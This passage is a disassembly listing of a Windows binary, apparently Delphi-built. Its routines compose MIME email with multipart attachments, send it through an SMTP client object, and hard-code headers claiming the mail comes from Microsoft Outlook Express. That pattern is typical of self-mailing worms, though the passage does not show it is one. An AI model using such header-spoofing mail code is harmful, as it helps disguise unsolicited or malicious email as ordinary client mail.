		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_4034EC
		retn
sub_4122C8	endp ; sp = -30h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41235C:				; DATA XREF: sub_4122C8+1Ao
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_41234E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412363:				; DATA XREF: sub_4122C8+81o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 1
dword_412370	dd 22h,	0FFFFFFFFh, 2	; DATA XREF: sub_4122C8+4Do
dword_41237C	dd 3C22h, 0FFFFFFFFh, 1	; DATA XREF: sub_4122C8+60o
dword_412388	dd 3Eh			; DATA XREF: sub_4122C8+68o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41238C	proc near		; CODE XREF: sub_412844+49p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4123F2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4027C0
		mov	eax, 7FFFFFFFh
		call	sub_4028F4
		mov	ebx, eax
		push	offset dword_412408
		lea	ecx, [ebp+var_4]
		mov	edx, 8
		mov	eax, ebx
		call	sub_40701C
		push	[ebp+var_4]
		push	offset a_outlook_expre ; "_Outlook_Express_message_boundary"
		mov	eax, esi
		mov	edx, 3
		call	sub_4037E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4123F9

loc_4123E9:				; CODE XREF: CODE:004123F7j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_41238C	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4123F2:				; DATA XREF: sub_41238C+Co
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4123E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4123F9:				; DATA XREF: sub_41238C+58o
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 4
dword_412408	dd 2D2D2D2Dh, 0, 0FFFFFFFFh, 21h ; DATA	XREF: sub_41238C+28o
a_outlook_expre	db '_Outlook_Express_message_boundary',0 ; DATA XREF: sub_41238C+3Fo
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_41243C	proc near		; DATA XREF: CODE:0041A978o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_412478
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E668
		jnz	short loc_41246A
		mov	eax, offset off_41D76C
		mov	ecx, 30h
		mov	edx, ds:off_401000
		call	sub_403BE8

loc_41246A:				; CODE XREF: sub_41243C+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_41247F

locret_412477:				; CODE XREF: sub_41243C+41j
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412478:				; DATA XREF: sub_41243C+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_412477
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41247F:				; CODE XREF: sub_41243C+3Bj
					; DATA XREF: sub_41243C+36o
		pop	ebp
		retn
sub_41243C	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_412484:				; DATA XREF: CODE:0041A974o
		sub	ds:dword_41E668, 1
		jnb	short locret_4124C3
		jmp	short locret_4124C3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
aOutlookExpre_3	db 'Outlook Express MIME messages encoding and decoding',0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_4124C3:				; CODE XREF: CODE:0041248Bj
					; CODE:0041248Dj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_4124C4	dd offset dword_4124C8	; DATA XREF: CODE:0041254Eo
dword_4124C8	dd 4D540B0Eh, 48737365h, 65646165h, 1072h, 300h	; DATA XREF: CODE:004124C4o
		db 0
		dd offset off_401000
		dd 0
		dd offset off_401000
		dd 8
		dd offset off_401000
		dd 0Ch
		align 4
off_4124F8	dd offset dword_412544	; DATA XREF: sub_4190CC+AC3r
		dd 2 dup(0)
		dd offset dword_412544
		dd 4 dup(0)
		dd offset dword_412556
		dd 1Ch
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_4125C4
dword_412544	dd 0Eh,	10000h		; DATA XREF: CODE:004124F8o
					; CODE:00412504o
		db 2 dup(0)
		dd offset off_4124C4
		dd 0Ch
dword_412556	dd 694D5409h, 654D656Dh	; DATA XREF: CODE:00412518o
		db 2 dup(73h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_412560	proc near		; CODE XREF: sub_4190CC+AC8p
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_41256E
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_41256E:				; CODE XREF: sub_412560+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_402BAC
		mov	dl, 1
		mov	eax, ds:off_40B8BC
		call	sub_402BAC
		mov	[esi+4], eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[esi+8], eax
		mov	dl, 1
		mov	eax, ds:off_40BB68
		call	sub_402BAC
		mov	[esi+10h], eax
		mov	eax, esi
		test	bl, bl
		jz	short loc_4125BD
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_4125BD:				; CODE XREF: sub_412560+4Cj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_412560	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_4125C4	proc near		; DATA XREF: CODE:00412540o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+10h]
		call	sub_402BDC
		mov	eax, [esi+8]
		call	sub_402BDC
		mov	eax, [esi+4]
		call	sub_402BDC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_4125FE
		mov	eax, esi
		call	sub_402D2C

loc_4125FE:				; CODE XREF: sub_4125C4+31j
		pop	esi
		pop	ebx
		retn
sub_4125C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_412604	proc near		; CODE XREF: sub_412620+1Cp
					; sub_412708+28p
		push	ebx
		mov	ebx, eax
		mov	dl, 1
		mov	eax, ds:off_411644
		call	sub_411838
		mov	edx, eax
		mov	eax, [ebx+4]
		call	sub_40C0D0
		pop	ebx
		retn
sub_412604	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412620	proc near		; CODE XREF: sub_4190CC+BADp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4126BE
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_412604
		mov	edi, eax
		mov	edx, edi
		mov	eax, [ebx+4]
		call	sub_40C20C
		mov	ebx, eax
		mov	edx, [ebx+28h]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+68h]
		mov	edx, offset aText_0 ; "text"
		mov	eax, ebx
		call	sub_411F70
		lea	eax, [ebx+14h]
		mov	edx, offset aPlain_0 ; "plain"
		call	sub_40351C
		lea	eax, [ebx+18h]
		mov	edx, offset dword_4126F4
		call	sub_40351C
		lea	edx, [ebp+var_4]
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_4]
		mov	ecx, ds:dword_412704
		mov	dl, [ebx+13h]
		call	sub_40F230
		mov	[ebx+12h], al
		mov	byte ptr [ebx+11h], 2
		mov	eax, ebx
		call	sub_4118CC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4126C5

loc_4126B5:				; CODE XREF: CODE:004126C3j
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_412620	endp ; sp = -18h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4126BE:				; DATA XREF: sub_412620+Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4126B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4126C5:				; DATA XREF: sub_412620+90o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 4
aText_0		db 'text',0             ; DATA XREF: sub_412620+39o
		align 4
		dd 0FFFFFFFFh, 5
aPlain_0	db 'plain',0            ; DATA XREF: sub_412620+48o
		align 4
		dd 0FFFFFFFFh, 0Ch
dword_4126F4	dd 7373656Dh, 20656761h, 74786574h, 0 ;	DATA XREF: sub_412620+55o
dword_412704	dd 3FFh			; DATA XREF: sub_412620+6Cr

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412708	proc near		; CODE XREF: sub_4190CC+BDBp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	ebx
		push	esi
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_4038D8
		xor	eax, eax
		push	ebp
		push	offset loc_4127DC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, ebx
		call	sub_412604
		mov	esi, eax
		mov	edx, esi
		mov	eax, [ebx+4]
		call	sub_40C20C
		mov	ebx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebx+28h]
		call	sub_40DB00
		mov	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_411E58
		lea	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		call	sub_4073EC
		mov	eax, [ebp+var_C]
		lea	edx, [ebp+var_8]
		call	sub_406E9C
		mov	edx, [ebp+var_8]
		lea	eax, [ebx+20h]
		call	sub_40351C
		mov	edx, [ebx+20h]
		mov	eax, offset dword_4127F4
		call	sub_4039B4
		test	eax, eax
		jnz	short loc_41279C
		lea	eax, [ebx+18h]
		mov	ecx, [ebx+20h]
		mov	edx, offset aAttachmentFile ; "attachment;  filename="
		call	sub_403770
		jmp	short loc_4127B6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41279C:				; CODE XREF: sub_412708+80j
		push	offset aAttachmentFi_0 ; "attachment;  filename=\""
		push	dword ptr [ebx+20h]
		push	offset dword_412840
		lea	eax, [ebx+18h]
		mov	edx, 3
		call	sub_4037E4

loc_4127B6:				; CODE XREF: sub_412708+92j
		mov	byte ptr [ebx+11h], 3
		mov	eax, ebx
		call	sub_4118CC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4127E3

loc_4127CE:				; CODE XREF: CODE:004127E1j
		lea	eax, [ebp+var_C]
		mov	edx, 3
		call	sub_4034EC
		retn
sub_412708	endp ; sp = -28h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4127DC:				; DATA XREF: sub_412708+1Bo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_4127CE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4127E3:				; DATA XREF: sub_412708+C1o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_4127F4	dd 20h,	0FFFFFFFFh, 16h	; DATA XREF: sub_412708+74o
aAttachmentFile	db 'attachment;  filename=',0 ; DATA XREF: sub_412708+88o
		align 4
		dd 0FFFFFFFFh, 17h
aAttachmentFi_0	db 'attachment;  filename="',0 ; DATA XREF: sub_412708+94o
		dd 0FFFFFFFFh, 1
dword_412840	dd 22h			; DATA XREF: sub_412708+9Co

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412844	proc near		; CODE XREF: sub_4190CC+BE5p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4129AB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebx+8]
		mov	edx, [eax]
		call	dword ptr [edx+40h]
		mov	esi, [ebx+4]
		cmp	dword ptr [esi+8], 1
		jnz	short loc_41288A
		mov	eax, esi
		xor	edx, edx
		call	sub_40C20C
		mov	edx, [eax+24h]
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		jmp	loc_412988
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_41288A:				; CODE XREF: sub_412844+2Bj
		lea	eax, [ebp+var_4]
		call	sub_41238C
		mov	eax, [ebx+4]
		mov	esi, [eax+8]
		dec	esi
		test	esi, esi
		jl	short loc_4128D4
		inc	esi
		xor	edi, edi

loc_4128A0:				; CODE XREF: sub_412844+8Ej
		lea	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	edx, offset dword_4129C4
		call	sub_403770
		mov	edx, [ebp+var_C]
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	eax, [ebx+4]
		mov	edx, edi
		call	sub_40C20C
		mov	edx, [eax+24h]
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+3Ch]
		inc	edi
		dec	esi
		jnz	short loc_4128A0

loc_4128D4:				; CODE XREF: sub_412844+57j
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	edx, offset dword_4129C4
		call	sub_403770
		mov	edx, [ebp+var_10]
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	dl, 1
		mov	eax, ds:off_411644
		call	sub_411838
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_412981
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_8]
		mov	edx, [eax+28h]
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+68h]
		mov	edx, offset aMultipart_0 ; "multipart"
		mov	eax, [ebp+var_8]
		call	sub_411F70
		mov	eax, [ebp+var_8]
		add	eax, 14h
		mov	edx, offset aMixed_1 ; "mixed"
		call	sub_40351C
		mov	eax, [ebp+var_8]
		add	eax, 18h
		mov	edx, offset aMultipartMessa ; "Multipart message"
		call	sub_40351C
		mov	eax, [ebp+var_8]
		add	eax, 1Ch
		mov	edx, [ebp+var_4]
		call	sub_40351C
		mov	eax, [ebp+var_8]
		call	sub_4118CC
		mov	eax, [ebp+var_8]
		mov	edx, [eax+24h]
		mov	eax, [ebx+8]
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412988

loc_412978:				; CODE XREF: sub_412844+142j
		mov	eax, [ebp+var_8]
		call	sub_402BDC
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412981:				; DATA XREF: sub_412844+BDo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_412978
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412988:				; CODE XREF: sub_412844+41j
					; DATA XREF: sub_412844+12Fo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4129B2

loc_412995:				; CODE XREF: CODE:004129B0j
		lea	eax, [ebp+var_10]
		mov	edx, 2
		call	sub_4034EC
		lea	eax, [ebp+var_4]
		call	sub_4034C8
		retn
sub_412844	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4129AB:				; DATA XREF: sub_412844+11o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_412995
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_4129B2:				; DATA XREF: sub_412844+14Co
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 2
dword_4129C4	dd 2D2Dh, 0FFFFFFFFh, 9	; DATA XREF: sub_412844+62o
					; sub_412844+96o
aMultipart_0	db 'multipart',0        ; DATA XREF: sub_412844+D6o
		align 4
		dd 0FFFFFFFFh, 5
aMixed_1	db 'mixed',0            ; DATA XREF: sub_412844+E9o
		align 4
		dd 0FFFFFFFFh, 11h
aMultipartMessa	db 'Multipart message',0 ; DATA XREF: sub_412844+F9o
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412A08	proc near		; CODE XREF: sub_4190CC+BEFp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= qword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	ecx, 6

loc_412A10:				; CODE XREF: sub_412A08+Dj
		push	0
		push	0
		dec	ecx
		jnz	short loc_412A10
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_412B7A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ecx, offset aXMailerMicroso ; "X-Mailer: Microsoft Outlook Express 5.5"...
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	esi, [eax]
		call	dword ptr [esi+54h]
		mov	ecx, offset aXMimeoleProduc ; "X-MIMEOLE: Produced By Microsoft	MimeOL"...
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	esi, [eax]
		call	dword ptr [esi+54h]
		mov	ecx, offset aMimeVersion1_0 ; "MIME-Version: 1.0"
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	esi, [eax]
		call	dword ptr [esi+54h]
		call	sub_408090
		add	esp, 0FFFFFFF8h
		fstp	[esp+28h+var_28]
		wait
		lea	eax, [ebp+var_C]
		call	sub_411110
		mov	ecx, [ebp+var_C]
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_412C2C
		call	sub_403770
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	esi, [eax]
		call	dword ptr [esi+54h]
		cmp	dword ptr [ebx+18h], 0
		jz	short loc_412AB6
		lea	edx, [ebp+var_14]
		mov	eax, [ebx+18h]
		call	sub_412240
		mov	ecx, [ebp+var_14]
		lea	eax, [ebp+var_10]
		mov	edx, offset dword_412C3C
		call	sub_403770
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	esi, [eax]
		call	dword ptr [esi+54h]

loc_412AB6:				; CODE XREF: sub_412A08+84j
		cmp	dword ptr [ebx+14h], 0
		jz	short loc_412AE4
		lea	edx, [ebp+var_1C]
		mov	eax, [ebx+14h]
		call	sub_412240
		mov	ecx, [ebp+var_1C]
		lea	eax, [ebp+var_18]
		mov	edx, offset dword_412C54
		call	sub_403770
		mov	ecx, [ebp+var_18]
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	esi, [eax]
		call	dword ptr [esi+54h]

loc_412AE4:				; CODE XREF: sub_412A08+B2j
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		call	dword ptr [edx+14h]
		mov	esi, eax
		dec	esi
		test	esi, esi
		jl	short loc_412B37
		inc	esi
		mov	[ebp+var_4], 0

loc_412AFB:				; CODE XREF: sub_412A08+12Dj
		lea	ecx, [ebp+var_28]
		mov	edx, [ebp+var_4]
		mov	eax, [ebx+10h]
		mov	edi, [eax]
		call	dword ptr [edi+0Ch]
		mov	eax, dword ptr [ebp+var_28]
		lea	edx, [ebp+var_28+4]
		call	sub_4122C8
		mov	ecx, dword ptr [ebp+var_28+4]
		lea	eax, [ebp+var_20]
		mov	edx, offset dword_412C68
		call	sub_403770
		mov	ecx, [ebp+var_20]
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	edi, [eax]
		call	dword ptr [edi+54h]
		inc	[ebp+var_4]
		dec	esi
		jnz	short loc_412AFB

loc_412B37:				; CODE XREF: sub_412A08+E9j
		lea	edx, [ebp+var_30]
		mov	eax, [ebx+0Ch]
		call	sub_4122C8
		mov	ecx, [ebp+var_30]
		lea	eax, [ebp+var_2C]
		mov	edx, offset dword_412C78
		call	sub_403770
		mov	ecx, [ebp+var_2C]
		xor	edx, edx
		mov	eax, [ebx+8]
		mov	ebx, [eax]
		call	dword ptr [ebx+54h]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412B81

loc_412B6C:				; CODE XREF: CODE:00412B7Fj
		lea	eax, [ebp+var_30]
		mov	edx, 0Bh
		call	sub_4034EC
		retn
sub_412A08	endp ; sp = -24h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412B7A:				; DATA XREF: sub_412A08+17o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_412B6C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412B81:				; DATA XREF: sub_412A08+15Fo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		dd 0FFFFFFFFh, 32h
aXMailerMicroso	db 'X-Mailer: Microsoft Outlook Express 5.50.4133.2400',0
					; DATA XREF: sub_412A08+22o
		align 4
		dd 0FFFFFFFFh, 38h
aXMimeoleProduc	db 'X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4133.2400',0
					; DATA XREF: sub_412A08+31o
		align 4
		dd 0FFFFFFFFh, 11h
aMimeVersion1_0	db 'MIME-Version: 1.0',0 ; DATA XREF: sub_412A08+40o
		align 4
		dd 0FFFFFFFFh, 6
dword_412C2C	dd 65746164h, 203Ah, 0FFFFFFFFh, 0Eh ; DATA XREF: sub_412A08+69o
dword_412C3C	dd 6167724Fh, 617A696Eh, 6E6F6974h, 203Ah, 0FFFFFFFFh
					; DATA XREF: sub_412A08+97o
		dd 9
dword_412C54	dd 6A627553h, 3A746365h, 20h, 0FFFFFFFFh, 4 ; DATA XREF: sub_412A08+C5o
dword_412C68	dd 203A6F54h, 0, 0FFFFFFFFh, 6 ; DATA XREF: sub_412A08+112o
dword_412C78	dd 6D6F7246h, 203Ah	; DATA XREF: sub_412A08+140o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_412C80	proc near		; DATA XREF: CODE:0041A980o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_412CA5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_41E66C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_412CAC

locret_412CA4:				; CODE XREF: sub_412C80+2Aj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412CA5:				; DATA XREF: sub_412C80+6o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short locret_412CA4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_412CAC:				; CODE XREF: sub_412C80+24j
					; DATA XREF: sub_412C80+1Fo
		pop	ebp
		retn
sub_412C80	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_412CB0:				; DATA XREF: CODE:0041A97Co
		sub	ds:dword_41E66C, 1
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_412CB8	dd offset dword_412D04	; DATA XREF: sub_413258+3Br
					; sub_418FBC+21r
		dd 2 dup(0)
		dd offset dword_412D04
		dd 4 dup(0)
		dd offset dword_412D1E
		dd 18h
		dd offset off_40100C
		dd offset loc_402CA0
		dd offset nullsub_2
		dd offset nullsub_3
		dd offset sub_402CB4
		dd offset nullsub_4
		dd offset loc_402B70
		dd offset sub_402B84
		dd offset sub_412DA0
dword_412D04	dd 0Eh,	20000h		; DATA XREF: CODE:00412CB8o
					; CODE:00412CC4o
		db 2 dup(0)
		dd offset off_401000
		dd 0Ch
		dd offset off_401000
		dd 14h
dword_412D1E	dd 4D535409h, 65535054h	; DATA XREF: CODE:00412CD8o
		db 6Eh,	64h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_412D28	proc near		; CODE XREF: sub_413258+40p
					; sub_418FBC+26p
		push	ebx
		push	esi
		push	edi
		test	dl, dl
		jz	short loc_412D37
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_412D37:				; CODE XREF: sub_412D28+5j
		mov	ebx, edx
		mov	edi, eax
		xor	edx, edx
		mov	eax, edi
		call	sub_402BAC
		mov	dl, 1
		mov	eax, ds:off_40F888
		call	sub_40F908
		mov	esi, eax
		mov	[edi+4], esi
		mov	eax, esi
		mov	edx, [eax]
		call	dword ptr [edx]
		mov	dword ptr [edi+8], 493E0h
		lea	eax, [edi+0Ch]
		mov	edx, offset aLocalhost ; "localhost"
		call	sub_40351C
		mov	eax, edi
		test	bl, bl
		jz	short loc_412D84
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_412D84:				; CODE XREF: sub_412D28+4Bj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_412D28	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 9
aLocalhost	db 'localhost',0        ; DATA XREF: sub_412D28+3Do
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_412DA0	proc near		; DATA XREF: CODE:00412D00o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, [esi+4]
		call	sub_402BDC
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		test	bl, bl
		jle	short loc_412DCA
		mov	eax, esi
		call	sub_402D2C

loc_412DCA:				; CODE XREF: sub_412DA0+21j
		pop	esi
		pop	ebx
		retn
sub_412DA0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

